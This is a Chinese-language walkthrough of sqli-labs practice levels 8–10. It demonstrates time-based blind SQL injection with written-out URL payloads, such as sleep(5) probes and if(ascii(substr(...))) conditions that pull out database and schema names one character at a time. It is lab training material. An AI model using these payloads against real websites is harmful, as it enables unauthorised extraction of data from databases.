Less-8
第8关用到的方法和第5关的一样,此次我们再用另一种方法,时间盲注
补充知识
if(condition,A,B)如果条件condition为true,则执行语句A,否则执行B
例:select if(1>2,4,5); 返回结果为5,(如果是在mysql命令行中使用,首先要use xxx数据库才行)
1.使用延迟的方法判断是否存在注入漏洞,或者其他方法也可以
http://192.168.10.246/sqli-labs-master/Less-8/?id=1'and sleep(5)--+ 存在注入漏洞
http://192.168.10.246/sqli-labs-master/Less-8/?id=1'and if(length(database())=8,1,sleep(5))--+
当为8的时候很快加载,而为其他值的时候加载较慢(5s左右),那就说明此时数据库长度为8(security)
http://192.168.10.246/sqli-labs-master/Less-8/?id=1'and if(ascii(substr((select database()),1,1))>113,1,sleep(5))--+ 如果当前数据库的第一个字母的ascii值大于113时,会立刻返回结果,否则执行5s。
http://192.168.10.246/sqli-labs-master/Less-8/?id=1'and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果 。
其余步骤与布尔盲注类似
因为盲注属于猜解,所以还是推荐使用BurpSuite或者sqlmap脚本
Less-9
输入?id=1 或者?id=1’,发现均不报错
输入?id=1'and sleep(5)--+时发现页面反应延迟大概5s,所以存在注入漏洞
当我们使用order by 时,发现无论数值多大都能正常回显,这一关只能用时间盲注,方法与第8关中的一样。
Less10
?id=1"and sleep(5)--+ 延迟5s存在注入漏洞,这一关只是将Less9中的单引号换成了双引号,其余均相同